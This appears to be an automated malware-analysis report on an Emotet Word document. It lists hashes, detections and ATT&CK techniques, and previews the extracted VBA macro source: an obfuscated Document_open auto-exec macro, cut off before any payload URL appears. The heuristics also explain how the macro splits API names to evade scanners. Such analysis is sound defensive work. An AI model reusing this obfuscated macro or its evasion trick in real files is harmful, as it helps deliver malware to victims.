Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 150286119cfc62b9…

MALICIOUS

Office (OLE)

73.9 KB Created: 2019-12-12 13:06:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 105695e1cbd75de42ba87c98230c329c SHA-1: da6a3bf1cccf458e9083b5b9bbefe52e95ef7838 SHA-256: 150286119cfc62b968831fa5f3797d2982579fd12e79b0b67ebcae3fbfb36e1b
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is identified as Emotet by ClamAV and contains VBA macros. The 'Document_open' macro is present and uses obfuscated API calls, including reassembling 'winmgmts' from split string literals. This macro is designed to download and execute a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7448071-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7448071-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8814 bytes
SHA-256: f8f17e59ebaf0c18aa42663e85a887a632f68a5343e63a1e024ed9de7e829be8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Szdakctcvnyno"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Mynywmpnsnimt, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Fmhznsroxw = Dqwjnxny To 0
      For Izfigpaqchor = Bjdsalncavr To 0
         Bfwtcvnditel = (23 + Round(WOJOkxR3))
      Next
      Gtrnmqgietu = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Efykrfxy = uzH To MZDUoaj1
         Olwnltpyg = ChrB(dANsZ68a4)
         Next
      For Gjihflktbdyfs = 0 To 0
         Jingepvocbpcv = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Axxitldkgae = Zqvyjigbukqsg To 0
      For Cwnhazfzqtqms = Zrujbzanhsb To 0
         Mhqnrhijm = (23 + Round(WOJOkxR3))
      Next
      Xuqefswoadlyy = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Wbjgoymzmicc = uzH To MZDUoaj1
         Shmuvlhivh = ChrB(dANsZ68a4)
         Next
      For Nmcbjsrzkgagi = 0 To 0
         Uewcqbeiwy = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Nfhqllkwrntb = Lpfldxzabmh To 0
      For Xthyfkalxobvh = Oprgxewak To 0
         Ptnduimomdkpn = (23 + Round(WOJOkxR3))
      Next
      Foaepwmrlmvb = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Asxyiuhyttsj = uzH To MZDUoaj1
         Fdzdodziafjbc = ChrB(dANsZ68a4)
         Next
      For Rzhjvmkn = 0 To 0
         Wmgugmgco = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Lumrsndtfe
End Sub

Attribute VB_Name = "Lufftvhumwv"
Attribute VB_Base = "0{8F0BB699-2A68-4B92-8B8A-19B69C9B1DC0}{4642BFD0-CF16-4D86-B586-B4EBDA21F0E6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Qaahvaclpq"
Function Yvsiothutiq()
   For Smxczpyddrswr = Rhuzjrlk To 0
      For Zqhyrgrhnqqsa = Slrakyoomrbci To 0
         Hcifayqel = (23 + Round(WOJOkxR3))
      Next
      Pdwkygwb = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Tkeykcvgq = uzH To MZDUoaj1
         Yhjojvxzb = ChrB(dANsZ68a4)
         Next
      For Oiikrbtug = 0 To 0
         Znsehqvvxvht = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Fdsjomlffkyik = Szdakctcvnyno.Mynywmpnsnimt
   For Vywxrsfzjx = Bleuoofvj To 0
      For Cufdlapsvg = Bnzbgbquqipjw To 0
         Wcqiyaqtcmp = (23 + Round(WOJOkxR3))
      Next
      Tecbxocgpnytt = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Tevgaktqeyfw = uzH To MZDUoaj1
         Worhqblgolhi = ChrB(dANsZ68a4)
         Next
      For Osofzyayq = 0 To 0
         Oaoxcrsrmtyh = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Bgtdbgioisuu = Fdsjomlffkyik + Lufftvhumwv.Wawwapekzf + Lufftvhumwv.Cfigwcer + Lufftvhumwv.Ugptwqxgnryt
   For Ndsqmezbiiep = Iqbkmsai To 0
      For Hyonlyhko = Bfvoczumyk To 0
         Hgwjmgjs = (23 + Round(WOJOkxR3))
      Next
      Mioplpkatbgr = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Gvktfvovew = uzH To MZDUoaj1
         Poveezgks = ChrB(dANsZ68a4)
         Next
      For Mnecxrbv = 0 To 0
         Ldqwpnkdrerie = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Sioilupzh = Bgtdbgioisuu + Lufftvhumwv.Sswssxmctzf + Lufftvhumwv.Hznflgdnwvvcn.ControlTipText
   For Jcijfadun = Onhwpvvwpodx To 0
      For Mqfmlbedr = Twdsmudfu To 0
         Oqjfepxqgf = (23 + Round(WOJOkxR3))
      Next
      Sjyhbfnkv = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Wzrdctzroac = uzH To MZDUoaj1
         Cgwpfahcusk = ChrB(dANsZ68a4)
         Next
      For Mbzgtotcngm = 0 To 0
         Xgnkdqgkevjx = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Yvsiothutiq = Eseejeowafo + Sioilupzh + Eseejeowafo
   For Grrefsjqouct = Gsat
... (truncated)

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